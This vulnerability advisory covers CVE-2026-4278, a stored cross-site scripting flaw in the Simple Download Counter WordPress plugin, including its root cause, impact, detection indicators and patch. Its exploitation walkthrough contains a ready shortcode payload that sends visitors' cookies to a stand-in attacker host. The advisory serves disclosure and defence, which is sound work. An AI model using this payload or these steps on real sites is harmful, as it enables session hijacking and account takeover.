CVE-2026-4278: 
WordPress vulnerability analysis and mitigation

CVE-2026-4278 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Download Counter plugin for WordPress, affecting all versions up to and including 2.3. The flaw exists in the sdc_menu shortcode handler, where the text and cat attributes are rendered into HTML without proper sanitization or escaping. Authenticated attackers with Contributor-level access or above can inject malicious scripts that execute in the browsers of any user visiting an affected page. It was published on March 26, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from missing output escaping functions in the plugin's shortcode handler (inc/functions-shortcode.php). Specifically, the text attribute is echoed directly into HTML content at line 159 without esc_html(), and the cat attribute is inserted into HTML class attributes at lines 135 and 157 without esc_attr(). An attacker with at least Contributor-level WordPress access can embed a malicious [sdc_menu] shortcode in a post or page, and the injected script executes in the victim's browser when the page is loaded. No special configuration is required beyond having the plugin installed and active (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser session who visits a page containing the injected shortcode, including administrators. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.056%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level privileges, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Wordfence Weekly Report).

1. Reconnaissance: Identify WordPress sites running the Simple Download Counter plugin version 2.3 or earlier. This can be done by checking the plugin's readme.txt file (e.g., /wp-content/plugins/simple-download-counter/readme.txt) or using tools like WPScan.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert a malicious [sdc_menu] shortcode with an XSS payload in the text or cat attribute, for example: [sdc_menu text="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" cat="injected"].
4. Publish or Submit Content: Submit the post for review or publish it (depending on role permissions). The malicious shortcode is stored in the WordPress database.
5. Trigger Execution: When any user (including an administrator) visits the page containing the injected shortcode, the browser renders the unescaped output and executes the injected JavaScript, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing sdc_menu shortcode with suspicious text or cat attribute values including <script>, javascript:, or encoded variants.
• Database: WordPress wp_posts table entries containing [sdc_menu shortcodes with HTML tags or JavaScript payloads in the text or cat attributes.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after loading pages containing sdc_menu shortcodes (indicative of data exfiltration via injected scripts).
• File System: No direct file system artifacts expected, as the payload is stored in the database; however, review plugin files at wp-content/plugins/simple-download-counter/inc/functions-shortcode.php for unauthorized modifications.

Users should update the Simple Download Counter plugin to a version beyond 2.3 that includes the fix, which was committed to the plugin repository (changeset 3487364). The patch applies proper output escaping using esc_html() for the text attribute and esc_attr() for the cat attribute. As a workaround, site administrators can restrict Contributor-level users from publishing content without review, or temporarily disable the plugin until an update is applied. Monitoring user-submitted content for shortcode abuse is also advisable (Wordfence, WordPress Trac Changeset).

Wordfence disclosed this vulnerability as part of their weekly WordPress vulnerability report for the week of March 23–29, 2026, and it was catalogued by ENISA's EUVD system (EUVD-2026-16098). No significant independent researcher commentary or broad media coverage has been identified beyond standard vulnerability database aggregation (Wordfence Weekly Report, ENISA EUVD).